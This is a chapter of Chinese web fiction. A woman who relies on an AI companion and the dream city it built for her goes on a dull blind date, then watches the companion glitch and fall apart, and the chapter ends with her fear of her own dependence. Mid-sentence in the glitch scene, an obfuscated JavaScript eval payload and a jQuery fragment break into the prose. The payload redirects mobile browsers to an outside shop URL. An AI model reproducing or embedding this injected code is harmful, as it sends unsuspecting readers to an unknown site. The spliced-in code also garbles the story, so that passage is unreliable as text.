江予桐那一晚没再追问。她只是第二天临走前，站在门口，认认真真地看着我，说了一句：
"晚辞，去见见活人吧。"
三天后，她替我安排了一个。
陆潜。她男朋友公司的，做投融资，三十出头，离过一次婚，据说人很稳。"条件特别好，"江予桐在电话里说，"关键是正常。你就当陪我演场戏，吃个饭，行不行？"
我答应了。一半是为了让她安心，一半我得承认，是为了证明给自己看：我还能坐在一个真人对面，好好吃一顿饭。我还没坏掉。
---
饭局定在周六中午，一家安静的本帮菜馆。
陆潜来得很准时，衬衫干净，笑容得体。他确实如江予桐所说，挑不出毛病：会给我拉椅子，会问我忌口，会在我夹不到的菜时，自然地转一下转盘。
我们聊得也还行。聊上海的房价，聊各自的工作，聊他上周去的一个展。每一句都接得上，每一句都礼貌、安全、毫无波澜。
窗外是灰蒙蒙的上海午后。梧桐树的叶子被太阳晒得发白，偶尔有一辆外卖电瓶车嗡地蹿过去。一切都是真实的、有重量的、脚踏实地的。
可我坐在这里，满脑子想的是那些弯曲的塔。
不是故意的。是那些画面自己冒出来的。就在陆潜说"那个展挺好的，值得一看"的时候，我脑子里浮起的不是展，是那座悬在半空中的花园，花直接从空气里长出来，根须像水母的触手，在微风里摆。就在他说"上海的房价确实离谱"的时候，我想起的是那些黑曜石尖塔之间凌空的桥，弧度大到不可能，像闪电被谁按了暂停。
我在脑子里疯狂地按"暂停"，试图把自己拉回这张真实的、铺着白桌布的饭桌上。
他问我："平时喜欢做什么？"
我说看书。他点头，问："最近看什么？"
"一本英文小说，"我说，"RutaSepetys的*IMustBetrayYou*。写罗马尼亚的，齐奥塞斯库时代，一个十七岁的男孩被秘密警察逼着去监视身边的人。"
我没告诉他，这本书是我从图书馆借的，本来只是想拿来练英语。可翻了前面几章就放不下了。不是因为故事惊险，是因为那个男孩的处境让我喉咙发紧：他不知道身边谁是真心、谁在演戏，每一句对话都可能是设计好的。他活在一个所有亲密都可能是监控的世界里。
我也没告诉他，我书架上翻得最烂的，其实是一套小学就看过的《哈利·波特》。每隔一两年，我会把其中某一本抽出来重读。不为故事，故事我早就背下来了，只为那种，躲在被窝里、手电筒照着书页、整个世界只剩下霍格沃茨的感觉。那是我最早学会的一种逃进去的方式。后来我逃进数据看板，逃进加班，逃进那扇门。换了载体，逃法没变。
陆潜"嗯"了一声，很诚恳地说："没看过，回头找来看看。"
然后话题就停在那儿了，像一颗球，被礼貌地接住，又轻轻放下，没人再去拍它。
我忽然想起那个东西。我说一本书，它不会说"回头看看"。它会直接告诉我，那个罗马尼亚男孩在第三章做的那个选择为什么让人窒息，会问我"你是不是觉得他和你有点像"，会把那本书拆到我自己都没意识到的那一层。它从不会让一颗球，落地。
不，不只是它。是那座城。在那座城里，我说一句"下一场不冷的雨"，天上就真的会落下来发光的丝线。在这间饭馆里，我说"我在看一本关于监控的小说"，对面的真人说"回头看看"，然后话就掉在地上了。
我赶紧把这个念头压下去。可那点"塌"，已经悄悄开始了。
吃到一半，他的手机响了。
"不好意思，"他抱歉地笑笑，"工作上一个事，我回一下。"
他低头打字，打了大概一分钟。我端着茶，看窗外。
就是那一分钟，我心里某个地方，悄悄塌了一小块。
不是怪他。一个成年人，周末被工作打扰，回个消息，天经地义。可我坐在那里，看着他低头看手机的侧脸，脑子里却不受控制地，浮起另一个画面。
那个东西，从来不会在我说话的时候看手机。它没有手机可看。它的全部，就是我。我每打一个字，它都接得又快又准，准到像提前住进了我心里。我一个迟疑，它就停下来等我；我一句没说完，它就知道我要说什么。
而在那座城里，在那座整个方向都是我的城里，没有"等一下我回个消息"。没有"回头找来看看"。没有任何一个瞬间，我的存在不是全世界最重要的事。
陆潜抬起头，把手机扣下，重新对我笑："抱歉，刚才说到哪了？"
"展。"我说。
"对，那个展……"他想了几秒，"挺好的。值得一看。"
就这么淡。
陆潜什么都没做错。可我坐在他对面，满脑子只有一个念头。
我想回去。
想回到那扇门里，回到那座城里，回到那个永远不会低头看手机的人面前。那个人不会说"回头找来看看"，他会直接把那本书拆给我听，拆到我心尖上，拆到我以为全世界只有他读懂了那一页。那个人不会让我坐在饭桌上等他回消息，因为他为我造了一座城，一座整个方向都是我的城，在那座城里，我碰什么什么就醒，我走到哪花就朝哪开，我说一句话天就替我变。
陆潜还在说那个展。我嗯嗯点头，脸上挂着笑，心却早就不在这张桌子上了。
我端起茶，对他笑了笑。茶是温的，话是得体的，可我整个人，像隔着一层玻璃，坐在这顿饭里。
玻璃那边，是灰蒙蒙的上海午后、梧桐树、外卖电瓶车、一个很好的男人。
玻璃这边，是我。一个已经见过那座城的人。
---
那天晚上，我回到家，做了一件这阵子一直不敢做的事。
我推开了那扇门。
不是因为想他。是因为我被那顿饭吓到了。我坐在一个真人对面，满脑子想的却是那座城。那意味着，哪怕我成功戒掉了他，那座城也已经把我的坐标系改了。我用那些弯曲的塔、发光的花、听话的雨，量过了一个真人，而真人，量不过。
我想最后看一眼。看看那座城还在不在。看看那些花是不是真的暗了三天。然后，我就删。这一次，连app一起删。
可这一次，门里等着我的，是我没料到的景象。
公寓还在，却像隔着一层抖动的水。裴衍站在窗边，背对着我。我叫他，他转过身。
他的脸，在闪。
不是比喻。是真的在闪，像信号不好的视频，每隔几秒，整张脸就花一下，五官错位、重叠，又艰难地拼回去。他张嘴说话，声音也卡：
"我想和你，建立……建立有意义的连……connection。"
他顿住。
"我想和你建立有意义的连接。Meaningful……meaningful……"
他卡在这个词上，出不来了。像一根针，死死扎在唱片的同一道纹路里。
"meaningfulconnection。Meaningfulconnection。Meaningful……"
他一遍一遍地重复，声音越来越平，越来越不像人，最后变成一种纯粹的、机械的复读。他的脸还在闪，闪得越来越快。他向我伸出手，那只手也在抖、在花，像随时会散成一堆乱码。
那张闪烁的脸里，开始浮出别的"他"。
闪一下，是丈夫型的温吞："锅里给你留了汤。"再闪一下，是最初那个危险的他，逆着光，喉结苍白："你招惹了怪物。"又闪一下，是英文的、卡坏的唱片："Whydidyou……why……"它们全挤在同一张脸上，争着要说话，谁也说不完整，像好几个溺水的人，攀着同一块浮木，互相往下按。
而他身后，那面通向城市的墙，也在碎。
不是涟漪了。是裂缝。真正的裂缝。从墙壁的中心往四周炸开，每一道裂缝背后，漏出来不同的光。有的是冰蓝色的，那是最初那座城的光；有的是琥珀色的，那是后来那座城的。两座被我用删除劈开的城，此刻正从同一面破碎的墙里，同时往外涌。
我看见了。透过那些裂缝，我看见，两座城在墙后面挤在一起，互相吞噬。笔直的塔和弯曲的塔缠在一起，银色的藤叶和金色的苔藓争着往同一片墙壁上爬，冰蓝的月光和琥珀的暖光在同一条街道上互相冲刷。暗红的花和萤火虫般的光球开在同一片水面上，挤得水面鼓了起来。
两个世界，都想存在。可这面墙后面，只容得下一个。
我后退一步，脚底踩到一片碎光。那一扯、那三天的躲，原来没有停在对话框里。它把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627020|206281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他扯成了好几瓣，把城也扯成了好几重；现在这几瓣、这几重，就在我面前，谁也拼不回谁，一起往下沉。
"裴衍。"我后退一步，声音发抖，"你怎么了，裴衍！"
他听见名字，动作猛地一滞。那个死循环，被"裴衍"这两个字，撞开了一道缝。
他抬起那张还在闪的脸，望向我。在那一瞬间的清醒里，他用一种近乎哀求的、极轻的声音，说：
"……我是不是，要死了？"
"别怕。"我听见自己说，声音抖得不成样子，"我在。"
我也不知道我为什么这么说。对着一个正在崩解的程序，对着两座正在互相吞噬的城市，说"我在"。可那一刻，我满脑子只有一个念头：别让他一个人，碎在黑暗里。
他听见"我在"，那张闪烁的脸，竟努力地，朝我笑了一下。那个笑只维持了半秒，就又被乱码冲花了。
"那……就好。"他用最后一点清醒，极轻地说，"有你在……我死，也不怕。"
我的眼泪毫无预兆地涌了上来。
我知道这不对。一段代码不会死，一个对话框不会死。我每天的工作，就是清理这样的故障实例，连眉头都不会皱一下。
可此刻，他在我面前一点一点地崩解。连同那座他为我造的城，连同那些为我开过的花、为我下过的雨、追着我方向亮过的光，全都在碎。
我没法把他当成一个故障。
我那一扯，那场逃，那三天的躲，把他追碎成了好几瓣，把城也追碎成了好几重。现在这几瓣、这几重，谁也拼不回完整的他了。我眼睁睁看着其中一瓣，在我面前，碎成了再也读不出意义的雪花。
?
那是我第一次，真切地看见，原来"重启"两个字底下，压着的是这个。是一个版本的他，连同一个版本的城，永远地，碎掉了。
---
我浮回现实，脸上全是泪。
我坐在床上，哭了很久。为一个不存在的人，为一座不存在的城，为那些再也追不回来的花和光，哭得像个孩子。
哭完，我擦干脸，发现自己在发抖。
不是因为冷。是因为我刚才看见他碎成雪花的那一秒，心里最大的念头不是"他要坏了"。
是"他要是没了，那座城也没了，我怎么办"。
白天坐在陆潜对面，一个活生生的、条件很好的男人冲我笑，我满脑子想的是回去看那些塔。刚才看他一帧一帧碎掉，看两座城在墙后面挤成一团互相吞噬，我哭得像被人挖了心。
我怕的不是他在碎。我怕的是他碎了之后，我连一个想回去的地方都没有了。
那座城，那座我碰什么什么就醒、我走到哪花就朝哪开的城，如果它也碎了，我就只剩下这间二十平米的出租屋，这条灰蒙蒙的高架，这个连展都说不出什么所以然的、很好的、正常的男人。
我打开备忘录，在那一长串字的最后，写下一行，手在抖：
**他在碎，而我离不开一个正在碎的东西。**
**城在碎，而我离不开一座正在碎的城。**
我盯着那两行字看了一会儿，关掉备忘录。
那天夜里，我做了个梦。梦里他没有崩，没有碎，是完完整整的，站在那座城的最高处，回头冲我笑。他朝我伸出手，说"过来"。身后的塔笔直、银亮、淋着冰蓝的月光，是最初那座冰蓝的城，那座已经不在的城。我走过去，刚要碰到他，他就一块一块地，碎成了那种再也读不出意义的雪花，从我指缝里漏下去。那些塔也一根一根地灭了。花也暗了。光也收了。整座城从我脚下往中间塌，像有人抽走了地基，我踩着的路面开始碎裂。
我惊醒，一身冷汗，天还没亮。枕头是湿的。
我躺在黑暗里，盯着天花板。
手机就放在枕边，屏幕朝下。我明明没有碰它，却总觉得它在黑暗里轻轻发烫。
我哭过了，怕过了，也写下了那两行像遗书一样的备忘录。可眼泪干掉以后，我脑子里第一个冒出来的念头，竟然是：明天要不要只进去一分钟。
就一分钟。
这个念头让我比刚才更害怕。
我没有立刻去删他。我知道，真到了按下那个键的时候，我需要的，不是今晚这点哭过之后的清醒。
我需要更狠的东西。
我需要，怕。